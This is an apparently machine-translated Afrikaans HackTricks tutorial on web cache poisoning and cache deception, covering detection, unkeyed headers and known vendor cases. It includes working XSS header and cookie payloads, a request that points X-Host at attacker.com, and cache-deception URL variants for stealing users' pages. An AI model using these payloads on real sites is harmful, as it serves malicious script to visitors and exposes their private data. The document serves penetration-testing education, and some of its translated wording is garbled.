.. | ||
cache-poisoning-to-dos.md | ||
README.md |
Cache Vergiftiging en Cache Misleiding
Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Andere maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling van eksklusiewe NFTs
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
Gebruik Trickest om maklik werkstrome te bou en outomatiseer met die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Toegang Vandag:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Die Verskil
Wat is die verskil tussen web cache vergiftiging en web cache misleiding?
- In web cache vergiftiging, veroorsaak die aanvaller dat die aansoek 'n paar skadelike inhoud in die cache stoor, en hierdie inhoud word vanuit die cache aan ander aansoekgebruikers bedien.
- In web cache misleiding, veroorsaak die aanvaller dat die aansoek 'n paar sensitiewe inhoud van 'n ander gebruiker in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
Cache Vergiftiging
Cache vergiftiging is daarop gemik om die kliëntkant-cache te manipuleer om kliënte te dwing om hulpbronne te laai wat onverwags, gedeeltelik, of onder die beheer van 'n aanvaller is. Die omvang van die impak is afhanklik van die gewildheid van die betrokke bladsy, aangesien die besoedelde reaksie uitsluitlik aan gebruikers bedien word wat die bladsy tydens die tydperk van cache besmetting besoek.
Die uitvoering van 'n cache vergiftiging aanval behels verskeie stappe:
- Identifikasie van Ongekenmerkte Insette: Hierdie is parameters wat, alhoewel nie nodig vir 'n versoek om in die cache gestoor te word nie, die reaksie wat deur die bediener teruggegee word, kan verander. Die identifisering van hierdie insette is noodsaaklik omdat hulle uitgebuit kan word om die cache te manipuleer.
- Uitbuiting van die Ongekenmerkte Insette: Nadat die ongekenmerkte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se reaksie op 'n manier te verander wat die aanvaller bevoordeel.
- Verseker dat die Vergiftigde Reaksie in die Cache Gestoor word: Die finale stap is om te verseker dat die gemanipuleerde reaksie in die cache gestoor word. Op hierdie manier sal enige gebruiker wat die betrokke bladsy toegang terwyl die cache besmet is, die besoedelde reaksie ontvang.
Ontdekking: Kontroleer HTTP koppe
Gewoonlik, wanneer 'n reaksie in die cache gestoor is, sal daar 'n kop aandui wees, jy kan nagaan op watter koppe jy moet let in hierdie pos: HTTP Cache koppe.
Ontdekking: Caching foutkodes
As jy dink dat die reaksie in 'n cache gestoor word, kan jy probeer om versoeke met 'n slegte kop te stuur, wat met 'n statuskode 400 beantwoord behoort te word. Probeer dan om die versoek normaal te benader en as die reaksie 'n 400 statuskode is, weet jy dat dit kwesbaar is (en jy kan selfs 'n DoS uitvoer).
Jy kan meer opsies vind in:
{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}
Let egter daarop dat soms hierdie soorte statuskodes nie in die cache gestoor word nie sodat hierdie toets nie betroubaar kan wees nie.
Ontdekking: Identifiseer en evalueer ongekenmerkte insette
Jy kan Param Miner gebruik om parameters en koppe te brute-force wat die reaksie van die bladsy mag verander. Byvoorbeeld, 'n bladsy kan die kop X-Forwarded-For
gebruik om aan te dui dat die kliënt die skrip van daar moet laai:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Lokaliseer 'n skadelike reaksie van die agterste bediener
Met die geïdentifiseerde parameter/kop, ondersoek hoe dit gesaniteer word en waar dit weerspieël word of die reaksie van die kop affekteer. Kan jy dit enigsins misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? Voer 'n DoS uit?...)
Kry die gekaşte reaksie
Sodra jy die bladsy geïdentifiseer het wat misbruik kan word, watter parameter/kop om te gebruik en hoe om dit te misbruik, moet jy die bladsy gekaşte kry. Afhangend van die hulpbron wat jy in die kas probeer kry, kan dit 'n ruk neem, jy moet dalk vir verskeie sekondes probeer.
Die kop X-Cache
in die reaksie kan baie nuttig wees omdat dit die waarde miss
kan hê wanneer die versoek nie gekaşte is nie en die waarde hit
wanneer dit gekaşte is.
Die kop Cache-Control
is ook interessant om te weet of 'n hulpbron gekaşte word en wanneer die volgende keer sal die hulpbron weer gekaşte word: Cache-Control: public, max-age=1800
Nog 'n interessante kop is Vary
. Hierdie kop word dikwels gebruik om addisionele koppe aan te dui wat as deel van die kas sleutel hanteer word selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die User-Agent
van die slagoffer ken wat hy teiken, kan hy die kas vergiftig vir die gebruikers wat daardie spesifieke User-Agent
gebruik.
Nog 'n kop wat verband hou met die kas is Age
. Dit definieer die tyd in sekondes wat die voorwerp in die proksikas was.
Wees versigtig met die koppe wat jy gebruik wanneer jy 'n versoek kashou, omdat sommige van hulle onverwags as gesleutel gebruik kan word en die slagoffer sal daardie selfde kop moet gebruik. Toets altyd 'n Kaskasvergiftiging met verskillende webblaaier om te sien of dit werk.
Uitbuitingsvoorbeelde
Maklikste voorbeeld
'n Kop soos X-Forwarded-For
word ongesaniteer in die reaksie weerspieël.
Jy kan 'n basiese XSS-lading stuur en die kas vergiftig sodat almal wat die bladsy besoek, XSS sal wees:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Noot dat dit 'n versoek na /en?region=uk
sal vergiftig en nie na /en
nie
Kache vergiftiging vir DoS
{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}
Gebruik van webkache-vergiftiging om koekiehanteringskwesbaarhede te benut
Koekies kan ook weerspieël word in die respons van 'n bladsy. As jy dit kan misbruik om byvoorbeeld 'n XSS te veroorsaak, kan jy XSS in verskeie kliënte benut wat die bose kache-respons laai.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Merk op dat as die kwesbare koekie baie deur die gebruikers gebruik word, sal gereelde versoeke die cache skoonmaak.
Kegelvergiftiging met padtraversal om API-sleutel te steel
Hierdie uiteensetting verduidelik hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
omdat enigiets wat ooreenstem met /share/*
sal gelaai word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.
Gebruik van meervoudige koppe om webkagie-vergiftigingskwesbaarhede te misbruik
Soms sal jy verskeie ongesleutelde insette moet misbruik om 'n kagie te kan misbruik. Byvoorbeeld, jy mag 'n Oop herleiing vind as jy X-Forwarded-Host
instel op 'n domein wat deur jou beheer word en X-Forwarded-Scheme
op http
. As die bediener al die HTTP versoeke na HTTPS deurstuur en die kop X-Forwarded-Scheme
gebruik as die domeinnaam vir die herleiing. Jy kan beheer waarheen die bladsy deur die herleiing gewys word.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Uitbuiting met beperkte Vary
-kop
Indien jy vind dat die X-Host
-kop gebruik word as domeinnaam om 'n JS-hulpbron te laai maar die Vary
-kop in die respons aandui User-Agent
. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te eksfiltreer en die cache te vergiftig deur daardie gebruikersagent te gebruik:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Vet Kry
Stuur 'n GET versoek met die versoek in die URL en in die liggaam. As die webbediener die een van die liggaam gebruik, maar die kassierbediener die een van die URL kassie, sal enigeen wat daardie URL benader, eintlik die parameter van die liggaam gebruik. Soos die kwesbaarheid wat James Kettle by die Github-webwerf gevind het:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Daar is 'n portswigger-lab oor hierdie: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Versteek
Byvoorbeeld, dit is moontlik om parameters in ruby-bedieners te skei deur die karakter ;
te gebruik in plaas van &
. Dit kan gebruik word om ongesleutelde parameterwaardes binne gesleutelde waardes te plaas en dit te misbruik.
Portswigger-lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Uitbuiting van HTTP-cachevergiftiging deur misbruik te maak van HTTP-aanvraagsmokkel
Leer hier oor hoe om Cache-vergiftigingsaanvalle uit te voer deur misbruik te maak van HTTP-aanvraagsmokkel.
Geoutomatiseerde toetsing vir Web Cache-vergiftiging
Die Web Cache Vulnerability Scanner kan gebruik word om outomaties te toets vir web-cachevergiftiging. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar.
Voorbeeldgebruik: wcvs -u example.com
Gebruik Trickest om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Kwesbare Voorbeelde
Apache Traffic Server (CVE-2021-27577)
ATS het die fragment binne die URL deurgestuur sonder om dit te stroop en het die cache-sleutel slegs gegenereer deur die gasheer, pad en navraag te gebruik (met uitsluiting van die fragment). Dus is die versoek /#/../?r=javascript:alert(1)
na die agterste stuur as /#/../?r=javascript:alert(1)
en het die cache-sleutel nie die lading binne dit gehad nie, slegs gasheer, pad en navraag.
GitHub CP-DoS
Die stuur van 'n slegte waarde in die inhoudstipe-kop het 'n 405 gekaapte reaksie geaktiveer. Die cache-sleutel het die koekie bevat, sodat dit moontlik was om slegs ongeagte gebruikers aan te val.
GitLab + GCP CP-DoS
GitLab gebruik GCP-emmers om statiese inhoud te stoor. GCP-emmers ondersteun die kop x-http-method-override
. Dit was dus moontlik om die kop x-http-method-override: HEAD
te stuur en die cache te vergiftig om 'n leë reaksie-liggaam terug te gee. Dit kon ook die metode PURGE
ondersteun.
Rak-middelware (Ruby on Rails)
In Ruby on Rails-aansoeke word Rak-middelware dikwels gebruik. Die doel van die Rak-kode is om die waarde van die x-forwarded-scheme
-kop te neem en dit as die versoek se skema in te stel. Wanneer die kop x-forwarded-scheme: http
gestuur word, vind 'n 301-omleiding na dieselfde plek plaas, wat moontlik 'n Diensverleningsaanval (DoS) aan daardie hulpbron kan veroorsaak. Daarbenewens kan die aansoek die X-forwarded-host
-kop erken en gebruikers na die gespesifiseerde gasheer omleid. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.
403 en Stoor-emmers
Cloudflare het vroeër 403-reaksies gekaap. 'n Poging om S3- of Azure-stoor-emmers met ongeldige Autorisasiekoppe te benader, sou 'n 403-reaksie tot gevolg hê wat gekaap is. Alhoewel Cloudflare opgehou het om 403-reaksies te kies, kan hierdie gedrag nog steeds teenwoordig wees in ander proksi-diens.
Insluiting van Gesleutelde Parameters
Cache sluit dikwels spesifieke GET-parameterwaardes in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die size
-parameter in versoekinge gekaap. As 'n URL-gekodeerde weergawe van die parameter (bv., siz%65
) ook met 'n foutiewe waarde gestuur is, sou die cache-sleutel opgestel word deur die korrekte size
-parameter te gebruik. Tog sou die agterste waarde in die URL-gekodeerde parameter verwerk word. Die URL-kodering van die tweede size
-parameter het tot gevolg gehad dat dit deur die cache weggelaat is, maar deur die agterste gebruik is. Die toewysing van 'n waarde van 0 aan hierdie parameter het gelei tot 'n koppelbare 400 Foutversoek-fout.
Gebruikeragentreëls
Sommige ontwikkelaars blokkeer versoekinge met gebruiker-agente wat ooreenstem met dié van hoë-verkeer-hulpmiddels soos FFUF of Nuclei om bedienerslas te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache-vergiftiging en DoS inbring.
Onwettige Kopvelvelde
Die RFC7230 spesifiseer die aanvaarbare karakters in kopnaam. Koppe wat karakters buite die gespesifiseerde tchar-reeks bevat, behoort ideaal gesproke 'n 400 Foutversoek-reaksie te aktiveer. In die praktyk hou bedieners nie altyd aan hierdie standaard nie. 'n Noemenswaardige voorbeeld is Akamai, wat koppe met ongeldige karakters deurstuur en enige 400-fout kies, solank die cache-control
-kop nie teenwoordig is nie. 'n Uitbuitbare patroon is geïdentifiseer waar die stuur van 'n kop met 'n onwettige karakter, soos \
, sou lei tot 'n koppelbare 400 Foutversoek-fout.
Nuwe koppe vind
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Kaskadebedrog
Die doel van Kaskadebedrog is om kliënte hulpbronne te laat laai wat deur die kaskade met hul sensitiewe inligting gestoor gaan word.
Eerstens, let daarop dat uitbreidings soos .css
, .js
, .png
ens. gewoonlik gekonfigureer is om in die kaskade gestoor te word. Daarom, as jy www.example.com/profile.php/nonexistent.js
besoek, sal die kaskade waarskynlik die reaksie stoor omdat dit die .js
uitbreiding sien. Maar, as die toepassing met die sensitiewe gebruikersinhoud wat gestoor is in www.example.com/profile.php herhaal word, kan jy daardie inhoud van ander gebruikers steel.
Ander dinge om te toets:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Gebruik minder bekende uitbreidings soos
.avif
'n Baie duidelike voorbeeld kan gevind word in hierdie skrywe: https://hackerone.com/reports/593712.
In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy laai soos http://www.example.com/home.php/non-existent.css die inhoud van http://www.example.com/home.php (met die gebruiker se sensitiewe inligting) teruggegee gaan word en die kaskadeserver gaan die resultaat stoor.
Dan kan die aanvaller http://www.example.com/home.php/non-existent.css in hul eie blaaier toegang en die vertroulike inligting van die gebruikers wat voorheen toegang gekry het, waarneem.
Let daarop dat die kaskade-proksi ingestel moet wees om lêers te kaskadeer op grond van die uitbreiding van die lêer (.css) en nie op grond van die inhoudstipe nie. In die voorbeeld http://www.example.com/home.php/non-existent.css sal 'n text/html
inhoudstipe hê in plaas van 'n text/css
mime-tipe (wat die verwagte vir 'n .css lêer is).
Leer hier oor hoe om Kaskadebedrog-aanvalle uit te voer deur misbruik te maak van HTTP-aanvraagsmokkel.
Outomatiese Gereedskap
- toxicache: Golang-skenner om web-kasvergiftigingskwetsbaarhede in 'n lys van URL's te vind en om verskeie inspuitingstegnieke te toets.
Verwysings
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
Gebruik Trickest om maklik werkstrome te bou en te outomatiseer met behulp van die wêreld se mees gevorderde gemeenskapsgereedskappe.
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.